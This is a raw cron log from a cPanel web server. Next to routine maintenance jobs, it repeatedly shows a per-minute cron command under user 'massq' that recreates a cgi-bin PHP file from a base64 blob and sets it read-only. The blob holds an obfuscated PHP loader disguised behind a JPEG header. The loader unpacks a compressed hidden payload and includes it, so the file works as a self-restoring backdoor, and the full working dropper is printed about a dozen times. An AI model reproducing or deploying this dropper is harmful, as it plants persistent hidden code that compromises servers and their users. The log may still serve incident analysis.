Sep  4 23:03:01 server CROND[7297]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 23:03:01 server CROND[7298]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 23:03:01 server CROND[7299]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 23:04:01 server CROND[7671]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 23:04:01 server CROND[7672]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 23:04:01 server CROND[7673]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 23:05:01 server CROND[8109]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 23:05:01 server CROND[8111]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 23:05:01 server CROND[8106]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 23:05:01 server CROND[8107]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  4 23:05:01 server CROND[8112]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 23:05:01 server CROND[8113]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 23:05:01 server CROND[8108]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 23:05:01 server CROND[8116]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 23:05:01 server CROND[8110]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 23:06:01 server CROND[9053]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 23:06:01 server CROND[9054]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 23:06:01 server CROND[9055]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 23:07:01 server CROND[9440]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 23:07:01 server CROND[9441]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 23:07:01 server CROND[9442]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 23:08:01 server CROND[9824]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 23:08:01 server CROND[9825]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 23:08:01 server CROND[9826]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 23:09:01 server CROND[10208]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 23:09:01 server CROND[10209]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 23:09:01 server CROND[10211]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 23:09:01 server CROND[10210]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  4 23:10:01 server CROND[10607]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 23:10:01 server CROND[10608]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 23:10:01 server CROND[10609]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 23:10:01 server CROND[10613]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 23:10:01 server CROND[10611]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 23:10:01 server CROND[10612]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 23:10:01 server CROND[10614]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 23:10:01 server CROND[10616]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 23:11:01 server CROND[11502]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 23:11:01 server CROND[11503]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 23:11:01 server CROND[11501]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 23:12:01 server CROND[11974]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 23:12:01 server CROND[11973]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 23:12:01 server CROND[11976]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 23:12:01 server CROND[11975]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 23:13:01 server CROND[12369]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 23:13:01 server CROND[12370]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 23:13:01 server CROND[12393]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 23:14:01 server CROND[12775]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 23:14:01 server CROND[12776]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 23:14:01 server CROND[12777]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 23:15:01 server CROND[13170]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 23:15:01 server CROND[13171]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
